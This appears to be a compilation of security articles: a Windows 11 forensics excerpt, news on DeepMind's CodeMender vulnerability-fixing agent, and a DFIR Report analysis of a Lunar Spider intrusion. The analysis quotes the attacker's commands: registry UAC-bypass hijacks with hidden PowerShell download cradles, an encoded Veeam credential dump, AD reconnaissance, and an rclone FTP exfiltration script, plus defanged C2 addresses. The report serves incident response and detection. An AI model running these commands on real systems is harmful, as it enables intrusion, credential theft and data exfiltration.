%PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows-usn.db does not contain useful information for forensic analysis. As depicted in the image below, analyzing the Windows-gather.db file using DB Browser for SQLite can provide us evidence of the presence of certain files (e.g., malware files, configuration files, files created and left by attackers, and others). It is worth noting that the LastModified column is stored in the Windows FILETIME format, which holds an unsigned 64-bit date and time value, representing the number of 100-nanosecond units since the start of January 1, 1601. Using a utility such as DCode, we can see this value in UTC, as shown in the image below. Other minor changes in Windows 11 It is also worth mentioning a few small but important changes in Windows 11 that do not require a detailed analysis: A complete discontinuation of NTLMv1 means that pass-the-hash attacks are gradually becoming a thing of the past. Removal of the well-known Windows 10 Timeline activity artifact. Although it is no longer being actively maintained, its database remains for now in the files containing user activity information, located at: %userprofile%\AppData\Local\ConnectedDevicesPlatform\ActivitiesCache.db . Similarly, Windows 11 removed Cortana and Internet Explorer, but the artifacts of these can still be found in the operating system. This may be useful for investigations conducted in machines that were updated from Windows 10 to the newer version. Previous research also showed that Event ID 4624, which logs successful logon attempts in Windows, remained largely consistent across versions until a notable update appeared in Windows 11 Pro (22H2). This version introduces a new field, called Remote Credential Guard, marking a subtle but potentially important change in forensic analysis. While its real-world use and forensic significance remain to be observed, its presence suggests Microsoft’s ongoing efforts to enhance authentication-related telemetry. Expanded support for the ReFS file system. The latest Windows 11 update preview made it possible to install the operating system directly onto a ReFS volume, and BitLocker support was also introduced. This file system has several key differences from the familiar NTFS: - ReFS does not have the $MFT (Master File Table) that forensics specialists rely on, which contains all current file records on the disk. - It does not generate short file names, as NTFS does for DOS compatibility. - It does not support hard links or extended object attributes. - It offers increased maximum volume and single-file sizes (35 PB compared to 256 TB in NTFS). Conclusion This post provided a brief overview of key changes to Windows 11 artifacts that are relevant to forensic analysis – most notably, the changes of PCA and modifications to Windows Search mechanism. The ultimate utility of these artifacts in investigations remains to be seen. Nevertheless, we recommend you immediately incorporate the aforementioned files into the scope of your triage collection tool.
securelist.comOct 14, 2025extracted
Google DeepMind’s New AI Agent Finds and Fixes Vulnerabilities
Google’s DeepMind artificial intelligence research lab this week unveiled an AI agent designed to autonomously find and fix vulnerabilities. Google has several projects focusing on the use of AI for the discovery of vulnerabilities in software. The tech giant recently reported that its Big Sleep agent discovered a critical SQLite vulnerability and thwarted efforts to exploit it in the wild. Its latest product is CodeMender, an AI agent that not only finds security holes but also patches them. The company argues that such tools are needed because as AI gets better at discovering flaws, it will be difficult for humans to keep up with patching. Deepmind says CodeMender, which leverages Gemini DeepThink models, is capable of rewriting and securing existing code in order to eliminate entire classes of security bugs to prevent future exploits. CodeMender includes checks designed to ensure that the changes it makes do not cause regressions or other issues. The AI agent can reason about code — understanding and predicting the behavior of a program without actually running it — and effectively validate changes through the use of advanced program analysis and multi-agent systems. Advanced program analysis includes static and dynamic analysis, fuzzing, differential testing, and SMT solvers to identify the root cause of vulnerabilities and architectural weaknesses. As for multi-agent systems, DeepMind explained, “We developed special-purpose agents that enable CodeMender to tackle specific aspects of an underlying problem. For example, CodeMender uses a large language model-based critique tool that highlights the differences between the original and modified code in order to verify that the proposed changes do not introduce regressions, and self-correct as needed.” Over the past six months, CodeMender has provided 72 security fixes to open source projects, some of which have millions of lines of code. However, DeepMind says it’s being cautious and all patches are reviewed before being submitted. Related: Google Patches Gemini AI Hacks Involving Poisoned Logs, Search Results Related: California Gov. Gavin Newsom Signs Bill Creating AI Safety Measures
securityweek.comOct 8, 2025extracted
From a Single Click: How Lunar Spider Enabled a Near Two-Month Intrusion
Key Takeaways The intrusion began with a Lunar Spider linked JavaScript file disguised as a tax form that downloaded and executed Brute Ratel via a MSI installer. Multiple types of malware were deployed across the intrusion, including Latrodectus, Brute Ratel C4, Cobalt Strike, BackConnect, and a custom .NET backdoor. Credentials were harvested from several sources like LSASS, backup software, and browsers, and also a Windows Answer file used for automated provisioning. Twenty days into the intrusion data was exfiltrated using Rclone and FTP. Threat actor activity persisted for nearly two months with intermittent command and control (C2) connections, discovery, lateral movement, and data exfiltration. This case was featured in our September 2025 DFIR Labs Forensics Challenge and is available as a lab today here for one time access or included in our new subscription plan. It was originally published as a Threat Brief to customers in Feb 2025 The DFIR Report Services Private Threat Briefs: 20+ private DFIR reports annually. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! Table of Contents: The intrusion took place in May 2024, when a user executed a malicious JavaScript file. This JavaScript file has been previously reported as associated with the Lunar Spider initial access group by EclecticIQ. The heavily obfuscated file, masquerading as a legitimate tax form, contained only a small amount of executable code dispersed among extensive filler content used for evasion. The JavaScript payload triggered the download of a MSI package, which deployed a Brute Ratel DLL file using rundll32. The Brute Ratel loader subsequently injected Latrodectus malware into the explorer.exe process, and established command and control communications with multiple CloudFlare-proxied domains. The Latrodectus payload was then observed retrieving a stealer module. Around one hour after initial access, the threat actor began reconnaissance activities using built-in Windows commands for host and domain enumeration, including ipconfig, systeminfo, nltest, and whoami commands. Approximately six hours after initial access, the threat actor established a BackConnect session, and initiated VNC-based remote access capabilities. This allowed them to browse the file system and upload additional malware to the beachhead host. On day three, the threat actor discovered and accessed an unattend.xml Windows Answer file containing plaintext domain administrator credentials left over from an automated deployment process. This provided the threat actor with immediate high-privilege access to the domain environment. On day four, the threat actor expanded their activity by deploying Cobalt Strike beacons. They escalated privileges using Windows’ Secondary Logon service and the runas command to authenticate as the domain admin account found the prior day. The threat actor then conducted extensive Active Directory reconnaissance using AdFind. Around an hour after this discovery activity they began lateral movement. They used PsExec to remotely deploy Cobalt Strike DLL beacons to several remote hosts including a domain controller as well as file and backup servers. They then paused for around five hours. On their return, they deployed a custom .NET backdoor that created a scheduled task for persistence and setup an additional command and control channel. They also dropped another Cobalt Strike beacon that had a new command and control server. They then used a custom tool that used the Zerologon (CVE-2020-1472) vulnerability to attempt additional lateral movement to a second domain controller. After that they then tried to execute Metasploit laterally to that domain contoller via a remote service. However they were unable to establish a command and control channel from this action. On day five, the threat actor returned using RDP to access a new server that they then dropped the newest Cobalt Strike beacon on. This was then followed by an RDP logon to a file share server where they also deployed Cobalt Strike. Around 12 hours after that they returned to the beachhead host and replaced the BruteRatel file used for persistence with a new BruteRatel badger DLL. After this there was a large gap before their next actions. Fifteen days later, the 20th since initial access, the threat actor became active again. They deployed a set of scripts to execute a renamed rclone binary to exfiltrate the data from the file share server. This exfiltration used FTP to send data over a roughly 10 hour period to the threat actor’s remote host. After this concluded there was another pause in threat actor actions. On the 26th day of the intrusion the threat actor returned to the backup server and used a PowerShell script to dump credentials from the backup server software. Two days later on the backup server they appeared again and dropped a network scanning tool, rustscan, which they used to scan subnets across the environment. After this hands on activity ceased again. The threat actor maintained intermittent command and control access for nearly two months following initial compromise, leveraging BackConnect VNC capabilities and multiple payloads, including Latrodectus, Brute Ratel, and Cobalt Strike, before being evicted from the environment. Despite the extended dwell time and comprehensive access to critical infrastructure, no ransomware deployment was observed during this intrusion. If you would like to get an email when we publish a new report, please subscribe here. Analysis and reporting completed by @RussianPanda9xx, Christos Fotopoulos, Salem Salem, reviewed by @svch0st. The infection began with the execution of a Latrodectus JavaScript file, Form_W-9_Ver-i40_53b043910-86g91352u7972-6495q3.js, first reported on X by @Cryptolaemus1 in the following post: The malware was first uploaded to VirusTotal on May 9, 2024, prior to Operation Endgame. This operation occurred between May 27 and 29, 2024, during which law enforcement dismantled multiple botnets, including Latrodectus. After the take down of the botnet, Latrodectus reappeared in June 2024, using tax-themed phishing campaigns as its initial access mechanism that dropped Latrodectus version 1.3 along with Brute Ratel, according to this article by Trustwave. Although our sample was from May and its file name was related to a W-9 tax form, it was version 1.3 of the malware and additionally it utilized Brute Ratel. Based on that, we believe it to be an early version of the campaign that was used later in June. This report from Rapid7, also from June 2024, shows a malicious ad as the initial access used to lure a victim to download the malicious Javascript file. Given the similarity of that report and our initial malware behavior we assess that this we likely the same method used for our case as well. The heavily obfuscated JS file contained multiple lines starting with //, which included filler text. After further analyzing the file, a deobfuscation workflow was identified, executing all the lines of code starting with ////. Deobfuscating the Latrodectus malware, uncovered that it performed an HTTP request to the URL hxxp://91.194.11[.]64/MSI.msi to install the next stage, thus triggering the Suricata rule from Emerging Threats ET POLICY Observed MSI Download. Static analysis of the MSI package revealed that upfilles.dll was embedded within the compressed disk1.cab archive. The MSI installer utilized a custom action to execute the DLL via the legitimate Windows binary rundll32.exe, specifically invoking the exported function stow to initiate malicious execution. Brute Ratel On day one, the loader upfilles.dll began execution on the beachhead host by resolving three APIs (VirtualAlloc, LoadLibraryA, GetProcessAddress) via the following hashing algorithm: for char in api_name: char_byte = ord(char) # Converts to lowercase, adds current hash temp = (char_byte | 0x60) + hash_value # Double for position-dependent hash hash_value = 2 * temp return hash_value Then it decrypted the intermediary Brute Ratel payload via an XOR decryption algorithm using the embedded key: 21 79 3C 7A 39 5F 3E 24 54 4A 7A 35 6C 33 3E 32 5F 66 74 76 6D 59 3C 4D 00 The shellcode above then decrypted the BRC4 badger via the RC4 key 71 24 70 2C 7D 70 61 3F. Below are the decrypted Brute Ratel C4 (BRC4) C2s and RC4 key to decrypt the gathered information on the infected system that is sent to the C2. The subsequent YARA rule triggered during a scan of the process memory for Brute Ratel: On day five, the threat actor deployed a new Brute Ratel DLL through the established BackConnect session: rundll32 wscadminui.dll, wsca The wscadminui.dll file serves as the Brute Ratel badger payload, maintaining the same obfuscation patterns established by the upfilles.dll loader. Decryption of the intermediary BRC4 payload is achieved through XOR operations using the embedded key sequence 75 36 58 33 64 4F 61 3F 4B 59 23 42 77 42 6F 41 39 6D 6E 4E 5E 46 56 47 66 41 00. Latrodectus After executing, Brute Ratel deployed Latrodectus malware through process injection into explorer.exe leveraging CreateRemoteThread API. Latrodectus, a downloader first identified by Proofpoint researchers in November 2023, is attributed to the same threat actors responsible for developing IcedID. Approximately six hours later, the process running Latrodectus established a connection to 193.168.143[.]196 on the beachhead host, which we suspect to have been a BackConnect C2 server. BackConnect is a post-compromise module that was initially deployed by IcedID, allowing threat actors to leverage infected systems for remote access through VNC modules. Multiple security researchers, such as Elastic Security Labs, hypothesize that Latrodectus is a potential successor to IcedID, due to code reuse and behavioral similarities, including the use of the same commands in the Discover flag. An hour after this traffic started, the following command was executed to switch to UTF-8 encoding: cmd.exe /K chcp 65001 && c: && cd c:\ This command was previously observed in Keyhole, a multi-functional VNC/BackConnect component used by IcedID, and prior cases involving IcedID infection. A few minutes later, Latrodectus spawned DLLHost.exe to likely inject the BackConnect payload with PROCESS_ALL_ACCESS (0x1fffff) access rights. The granted access rights provide full control over the target process, enabling memory manipulation, thread creation, and DLL injection capabilities. lsassa.exe Backdoor On day four, the threat actor deployed and executed a binary named lsassa.exe via BackConnect on the beachhead host. The lsassa.exe file was a .NET backdoor that contained an encrypted payload embedded in an assembly resource file named lsassa&&. Inside this resource, a small header was present declaring which protections were used (encryption and/or compression). If encryption is used, it either uses a key embedded in the file or derives one from the assembly’s public key token, then decrypts the payload. If compression is enabled, the code decompresses the decrypted data before loading it. The backdoor implemented a persistent command and control system that establishes covert communication between an infected machine and a remote threat actor controlled server while creating a scheduled task for persistence. Upon initialization, the backdoor establishes a timer-based polling mechanism that triggers every 250 seconds to maintain regular contact with the C2 infrastructure and uses extracted obfuscated strings to construct the command. In our case, the threat actor leveraged the backdoor to create a scheduled task on the beachhead host with the command: "cmd.exe" /c schtasks /create /tn "SchedulerLsass" /tr "%ALLUSERSPROFILE%\USOShared\lsassa.exe" /sc onstart During each communication cycle, the backdoor collects basic system reconnaissance data, including the username and machine name of the infected host, then transmits it to a remote server endpoint. The server C2 (hxxps://cloudmeri.com/comm[.]php) was obfuscated and embedded within the resource file name lsassa$ from the decrypted resource file lsassa&&. After successfully transmitting the victim data, the backdoor waits for a server response containing executable commands. When commands are received from the remote server, the backdoor validates that the response content is not empty and executes the payload through the Windows command interpreter. The execution occurs by spawning a new cmd.exe process with the UseShellExecute flag disabled and CreateNoWindow enabled to maintain stealth, while redirecting standard output and error streams to capture results. The backdoor includes a special termination command that allows the remote operator to exit the backdoor by calling Environment.Exit when a specific response string is received. The backdoor conceals its strings in an encrypted resource and only reveals them at runtime. The extraction function first reads a length value to determine how many bytes to pull, then converts those bytes into readable text using Unicode encoding. Cobalt Strike Several Cobalt Strike beacons were utilized over the course of the intrusion. The first was observed on day four, where the cron801.dl_ file was dropped on the beachhead host under C:\ProgramData from the injected explorer.exe process containing Latrodectus and was then executed twice by leveraging BackConnect. rundll32 cron801.dl_,lvQkzdrFdILT The outbound connection was established with the Cobalt Strike server at hxxp://45.129.199[.]214/vodeo/wg01ck01. Shortly after, the Cobalt Strike beacon spawned from rundll32.exe was injected into sihost.exe process. Analysis of network traffic revealed a JSON response containing minified Vuetify v3.0.3 JavaScript served by the Cobalt Strike C2 server. This discovery led to the identification of additional potentially related C2 servers using Virustotal searches for similar characteristics (JSON response content or the URL path /vodeo/): hxxp[://]94[.]232[.]40[.]49/vodeo/wg01ck01 hxxps[://]techbulldigital[.]com/Apply/readme/VJICARU60DC?_WHBEXNIA=HNMIIIANEMPMLIDFEOPKLBDOEMPI hxxp[://]techbulldigital[.]com/List/com2/9O29EO3IRSBB hxxp[://]filomeruginfor[.]com/christian/house/cwk01 hxxp[://]filomeruginfor[.]com/deolefor/wg01ck01m hxxps[://]wehelpgood[.]xyz/Complete/v9[.]56/KT84GVGD135E hxxps[://]wehelpgood[.]xyz/derive/n/nzoqjd9mme hxxp[://]94[.]232[.]249[.]186/vodeo/vid_wg01ck01 hxxp[://]94[.]232[.]249[.]186/vodeo/wg01ck01 Later the cron801.dl_ file was renamed system.dl_ and deployed to several hosts, this is covered further in the Lateral Movement section Later on the same day, after the execution of the lsassa.exe backdoor, the threat actor dropped sys.dll. This was another Cobalt Strike stager containing shellcode that exhibits similarities to the payload documented in this report, via the BackConnect session on the beachhead host. The threat actor executed it via BackConnect with the command: rundll32 %ALLUSERSPROFILE%\sys.dll,StartUp471 The Cobalt Strike implant initiated outbound communication to 206.206.123[.]209:443 (avtechupdate[.]com) before injecting itself into the sihost.exe process. After the attempted UAC bypass, the Cobalt Strike stager was executed in memory with the C2 pointing to resources.avtechupdate[.]com/samlss/vm.ico. Shortly after, the sihost.exe process (containing an injected Cobalt Strike beacon) used RUNAS execution to create a new process (“gpupdate.exe”) running as the “Domain Admin” account, as described in the Privilege Escalation section. Subsequently, the compromised sihost.exe process, containing an injected Cobalt Strike beacon, leveraged the RUNAS command to spawn a new gpupdate.exe process under the domain admin account. The gpupdate.exe process then injected a Cobalt Strike beacon into the spoolsv.exe process space. Both spoolsv.exe and gpupdate.exe processes were observed creating named pipes consistent with Cobalt Strike communication patterns. The following day the sys.dll Cobalt Strike beacon was executed on two additional servers after connections to those hosts were made via RDP. Registry Run Key Persistence was first established after initial access on day one via a Registry Run key. This was achieved via the rundll32.exe process that created a Run key, with an innocuous name of Update, which would execute the Brute Ratel badger, upfilles.dll, if the system was restarted. The Run key was updated multiple times during the intrusion to point to wscadminui.dll in place of upfilles.dll. We could not determine why the actor re-applied the same change on several occasions. Scheduled Tasks In addition to the Run key the threat actor created a scheduled task on the fourth day of the intrusion on the beachhead host. The scheduled task was created by lsassa.exe which has been explained in further detail in the Execution section. Runas The threat actor activated Windows’ Secondary Logon service to enable the runas command – a built-in Windows feature that allows running programs under different user credentials. By calling this service, they were able to authenticate as the domain admin account found in the unattend.xml file and escalate their privileges from a regular user to full administrative control over the network The Windows authentication log shows successful privilege escalation from a low-privileged user to a domain administrator account with elevated token permissions. UAC Bypass The Cobalt Strike sys.dll implant executed on the beachhead host initiated a UAC bypass using the elevate uac-token-duplication technique, a well-documented registry hijacking method first observed in 2017. This technique exploits the UAC token duplication vulnerability, allowing the Cobalt Strike implant to execute arbitrary code with privileges stolen from elevated processes, successfully achieving privilege escalation without user interaction. Initial registry modifications hijacked the ms-settings protocol handler to redirect Windows Settings calls to malicious PowerShell commands: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f /d "cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /f /d "cmd.exe /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" Privilege escalation occurred through execution of ComputerDefaults.exe, a trusted Windows binary that queries the hijacked ms-settings protocol with elevated privileges. With the elevated token duplicated from ComputerDefaults.exe, multiple PowerShell instances were executed to establish communication with the Cobalt Strike listener, indicating token rights restrictions requiring different execution approaches: "cmd.exe" /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/')" "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile Process Injection The most common evasion technique that the threat actor utilized was process injection. During its execution, the Brute Ratel loader upfilles.dll launched the final stage of the Latrodectus malware inside the explorer’s memory. From the fourth day onward, the threat actor expanded their tooling and heavily utilized both Brute Ratel and Cobalt Strike for process injection. Using the Sysmon eventID 8, CreateRemoteThread, multiple instances of process injection were identified for both long-term and short-term sacrificial processes. After further investigating the process memory, YARA rules confirmed also the injection of Cobalt Strike beacons into multiple legitimate processes, such as spoolsv.exe. File Deletion Τhe threat actor also deleted files after using them, to cover their tracks and make the investigation more challenging. Specifically, they deleted more than half of the files and tools that had been downloaded on the compromised hosts. Latrodectus Stealer Module Using command ID 21, the Latrodectus-injected explorer.exe process downloaded the stealer module file fxrm_vn_9.557302425.bin from the C2 server. Analysis revealed that the stealer lacks functionality to decrypt cookies from current Chrome versions, suggesting the threat actor may not have updated their stealer module to accommodate recent browser security enhancements. The stealer had the hardcoded time of when the stealer module was built – 00:39:18 Mar 29 2024. Similar to the Latrodectus loader component, the stealer module dynamically resolved Windows APIs by iterating through the Process Environment Block (PEB) InLoadOrderModuleList, computing CRC32 hashes for each loaded module name, and comparing results against target hash values. The stealer was capable of harvesting credentials from 29+ Chromium-based browsers, including Google Chrome, Microsoft Edge, Yandex Browser, Vivaldi, Comodo Dragon, Orbitum, Epic Privacy Browser, and other variants. Firefox receives separate handling through profile enumeration targeting cookies.sqlite database files. During its execution, it extracted email credentials from Microsoft Outlook configurations across Office versions 11.0-17.0 by querying Windows registry keys. The stealer is also capable of harvesting server configurations including SMTP, POP3, IMAP, and NNTP server addresses, port numbers, usernames, and encrypted passwords. Additionally, it targeted the registry path HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles to extract legacy email configurations from older Windows Mail, Outlook Express, and MAPI profiles that may contain additional cached credentials. Internet Explorer credentials were obtained through COM interface manipulation, accessing the IntelliForms Storage2 system. The collected data is organized into distinct sections with the below headers: - cr_pass for Chrome passwords - ff_pass for Firefox data - ie_pass for Internet Explorer credentials - edge_pass for Edge data - outlook_pass for email configurations - _cookie variants for session data. Each section contains structured entries with pipe-delimited fields. The complete dataset undergoes base64-encoding. The stealer then creates a shared memory region named 12345 and stores a pointer to the encoded data, which could allow other processes to access the collected information. Answer File Access Backconnect was used by the threat actor early in the campaign (day three) to list directories on the beachhead. After listing files in directories, the threat actor focused their attention on the file unattend.xml, an answer file. Answer files are used to control the configuration of Windows while setting it up from an image. One of the components of answer files is called Microsoft-Windows-UnattendedJoin which allows admins to easily domain join devices during setup, this is done by supplying plain text credentials (username and password) in the unattend.xml file. The threat actor collected the file via Backconnect (using the GET C:\Unattend.xml command) and was able to access the plain-text domain admin credentials stored in the file. LSASS Access The threat actor utilized their elevated user permissions to access the LSASS process on multiple devices in the environment. All instances of LSASS access followed the same pattern, the access was initiated by an injected process (either runonce.exe or gpupdate.exe) with a process requesting 0x1010 permissions and another instance of the same process requesting 0x1fffff seconds later. This cycle repeated three times in total during the intrusion, each time facilitated via a Cobalt Strike beacon process. Veeam-Get-Creds On day 26 of the intrusion, the threat actor ran the Veeam-Get-Creds.ps1 script from the injected spoolsv.exe process: powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAyADQAMAAwADMALwAnACkAOwAgAFYAZQBlAGEAbQAtAEcAZQB0AC0AQwByAGUAZABzAC4AcABzADEA which decoded to: IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:24003/'); Veeam-Get-Creds.ps1 This technique has been previously observed by ransomware groups such as Noberus and Vice Society. It typically indicates the threat actor is targeting backup systems for destruction or virtualization infrastructure for encryption (commonly protected by Veeam backup solutions). The Veeam-Get-Creds.ps1 script is publicly available on GitHub. Upon executing the script, the threat actor would have obtained any plaintext usernames and passwords stored in the Veeam Credential Manager. These credentials are typically used to authenticate to remote systems for backup operations. Although in this intrusion, this execution was one of the final actions taken by the threat actor. Approximately one hour after Latrodectus was injected into explorer.exe, it began executing the following discovery commands on the beachhead host. ipconfig /all systeminfo nltest /domain_trusts nltest /domain_trusts /all_trusts net view /all /domain net view /all net group "Domain Admins" /domain net config workstation wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed whoami /groups Process activity related to discovery then went quiet until on day four, the injected Cobalt Strike beacon used systeminfo to query for system information. The threat actor then executed DISK command via BackConnect to query disk information. The Cobalt Strike injected processes then executed reconnaissance commands and leveraged AdFind for Active Directory enumeration activities: systeminfo nltest /dclist:domain.local net view REDACTED net user REDACTED /domain dir \\REDACTED\C$ net group "domain admins" /domain dsquery subnet nltest /domain_trusts nltest /dsgetdc:domain.local wmic /node:REDACTED logicaldisk list brief AdFind Active Directory Enumeration: adfind.exe -f "(objectcategory=person)" >> ad_users.txt adfind.exe -f "objectcategory=computer" >> ad_computers.txt%W adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt adfind.exe -subnets -f (objectCategory=subnet)> ad_subnets.txt adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt adfind.exe -f "&(objectCategory=computer)(operatingSystem=*server*)" -csv > ad_servers.csv Continued Discovery and Network Testing: net view REDACTED ping -n 1 REDACTED type "\\REDACTED\C$\REDACTED\REDACTED.bat" The threat actor then tried to move AdFind outputs, but appeared to struggle based on the commands observed: C:\PerfLogs\*.* %ALLUSERSPROFILE%\ move %ALLUSERSPROFILE%\ad_users.txt C:\REDACTED\ move C:\REDACTED\ad_users.txt %PUBLIC%\ While this was happening, they continued to issue more discovery commands and attempted to organize their AdFind output: net view REDACTED wmic /node:REDACTED logicaldisk list brief %WINDIR%\system32\cmd.exe /C ping -n 1 REDACTED move %USERPROFILE%\ad_users.txt %USERPROFILE%\Pictures\ attrib %USERPROFILE%\Pictures\ad_users.txt The actor then expanded their reconnaissance to include DNS information while simultaneously troubleshooting file access issues on their collected data: dnscmd /zoneprint domain.local netdom query SERVER >> serv.log attrib -a -s -h -r /s %USERPROFILE%\Pictures\ad_users.txt attrib %USERPROFILE%\Pictures\ad_users.txt attrib %USERPROFILE%\Pictures\*.* attrib -a +s +h -r /s %USERPROFILE%\Pictures\ad_users.txt Minutes later, the compromised explorer.exe process spawned DllHost.exe, indicating resumption of the BackConnect VNC activity observed previously. The DllHost.exe process subsequently executed a Windows shell command to open the “This PC” interface on the beachhead host: cmd.exe /c start "" C:\Windows\explorer.exe shell:mycomputerfolder The session was then leveraged to attempt to view the AdFind results: "C:\Windows\system32\NOTEPAD.EXE" "C:\Users\ \Pictures\ad_users.txt" The threat actor continued to encounter file permission issues, preventing them from accessing their own data. They attempted to resolve this by first setting the local user as the file owner, then switching to the domain account as owner, and when both ownership changes failed to provide adequate access, they finally used the /reset command to restore default permissions: icacls C:\Users\ \Pictures\ad_users.txt /setowner " " /T /C icacls C:\Users\ \Pictures\ad_users.txt /setowner " \ " /T /C icacls "C:\Users\ \Pictures\ad_users.txt" /reset /T After running the Cobalt Strike beacons laterally on several hosts, the threat actor conducted remote user enumeration across domain systems using the following command from the beachhead host: quser The threat actor utilized the PowerView module Invoke-ShareFinder twice during the intrusion. IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:49157/'); Invoke-ShareFinder -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt Approximately 45 minutes following the Metasploit shell deployment attempt on the second domain controller, the threat actor initiated an additional round of AdFind reconnaissance from the beachhead host: AdFind.exe -b dc=domain,dc=local -f (objectcategory=person) > adflogs\domain.local_ad_users.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=computer) > adflogs\domain.local_ad_computers.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=organizationalUnit) > adflogs\domain.local_ad_ous.txt AdFind.exe dc=domain,dc=local -subnets -f (objectcategory=subnet) > adflogs\domain.local_ad_subnets.txt AdFind.exe -b dc=domain,dc=local -f (objectcategory=group) > adflogs\domain.local_ad_group.txt Although the threat actor attempted to compress the collected data, forensic analysis did not identify any created zip archives on the system. "7z.exe" a -mx1 -r0 adflogs.zip adflogs The threat actor returned 28 days after the initial access to run a final round of network scanning discovery. Operating from a backup server, the threat actor deployed the rustscan tool through the Cobalt Strike-injected spoolsv.exe process, first running rustscan with the help flag. The threat actor then began scanning various /16 and /8 network blocks for SMB services. rustscan.exe -a REDACTED/16 -p 445 --no-nmap rustscan.exe -a REDACTED/16 -p 445 rustscan.exe -a REDACTED/8 -p 445 "nmap -vvv -p 445 REDACTED" WMI Remoting Although the threat actor ran discovery commands just under an hour from the initial access, the first lateral movement attempt came three days into the intrusion when the threat actor attempted to execute the system.dl_ Cobalt Strike beacon on a domain controller via WMIC remote execution. This execution was not successful as it was not observed on the domain controller. Remote Services After the failed lateral movement attempt via WMIC, the threat actor pivoted to PsExec. The initial PsExec command also failed since the threat actor forgot to include the accepteula flag. After fixing the forgotten EULA mistake, they were able to successfully execute system.dl_ on the domain controller via rundll32. The threat actor then proceeded to execute the same command on a file share server and backup server minutes after the domain controller execution. Six hours after this initial lateral movement activity, the threat actor deployed and executed the zero.exe payload from C:\ProgramData on the beachhead. This payload, delivered via BackConnect session, was a custom implementation of the Zerologon vulnerability (CVE-2020-1472) exploit with capabilities for credential harvesting and remote code execution. During the intrusion the threat actor used zero.exe to move laterally between devices in the network. The executable was executed on the beachhead host and targeted a second domain controller, overall it was executed eight different times with a different username being used every execution. The execution used remote services to run code on lateral hosts. After the completion of the zero.exe executions, the threat actor attempted to establish a Metasploit reverse shell connection via a remote service on the same domain controller, to the C2 server at 217.196.98[.]61:4444. RDP RDP was another Windows native tool used by the threat actor for lateral movment. The threat actor had extracted domain admin credentials as discussed in the Credential Access section, these credentials were used by the threat actor to login to two servers in the environment from the beachhead device via RDP, giving them interactive admin access to both devices. While the logins originated from the beachhead host the threat actor leaked their source hostname during the authentication process. VPS2DAY-32220LE The threat actor’s hostname implies that the infrastructure used by them was provided via a German hosting company VPS2DAY, which seems to be operating under the name Servinga since the vps2day domain redirects to Servinga. Latrodectus/Backconnect The malware used to gain the initial foothold in the host was a Latrodectus Javascript file. The aforementioned file has been associated with high confidence to the Russian threat actor LUNAR SPIDER by Eclecticiq. It is important to note that although the sample contained only two domains, the injected explorer.exe communicated with three additional C2 servers. After further investigating the explorer’s memory, the following HTTPS request was identified towards one of the new domains: Upon decrypting the encrypted traffic sent by Latrodectus to the C2, the following information was identified: One extra functionality observed from the Latrodectus malware was Command and Control communication using the Backconnect protocol. More specifically, connections from explorer.exe and dllhost.exe were performed toward two different IP addresses. Additionally, these IP’s have been categorized with moderate confidence related to IcedId Backconnect, which commonly shares infrastructure with Latrodectus. Connections to the first IP started during the first day and then swapped to the second IP on the fifth day. As it was previously mentioned, utilizing Backconnect, various tasks were performed, such as browsing the file system, reading files, and uploading malware on the infected hosts. Brute Ratel The MSI file downloaded by the malicious Javascript contained a Brute Ratel DLL (upfilles.dll) that started C2 communication to a series of remote hosts. Of note is the use of the Tyk.io service which we have covered in prior reports. On the fifth day, the threat actor deployed a second Brute Ratel badger, named wscadminui.dll, which communicated with the following domains: Lsassa Lsassa.exe was a .NET malware that was deployed on the fourth day. It attempted to communicate with its C2 server every 250 seconds. Additionally, each POST request contained the hostname of the infected workstation and the username of the compromised user, which were sent to the server. Metasploit The psexec Metasploit module was utilized by the threat actor in order to perform lateral movement. During the analysis of the Metasploit shellcode, it was identified that it utilized the IP 217.196.98.61 to perform C2 communication. Although the Metasploit shellcode was executed, it was unable to establish a successful Command and Control connection, and the server rejected the connection. Cobalt Strike The final Command and Control tool used was Cobalt Strike. In the C2 communication, both HTTPS and HTTP traffic were detected: To summarize the Command and Control activity and showcase its intensity over time, the following graphs were made: Beaconing with Cobalt Strike Beaconing without Cobalt Strike Rclone From a Cobalt Strike beacon on a file share server, the threat actor dropped a data exfiltration toolkit in the ProgramData directory. This included a VBScript launcher (start.vbs), batch automation script (run.bat), renamed Rclone (sihosts.exe), and Rclone configuration file (rclone.conf). This toolkit automated the theft of sensitive data by syncing it to threat actor-controlled cloud storage using the legitimate Rclone utility. Content of run.bat: C:\programdata\sihosts.exe copy "E:" ftp:REDACTED\ \E -q --exclude 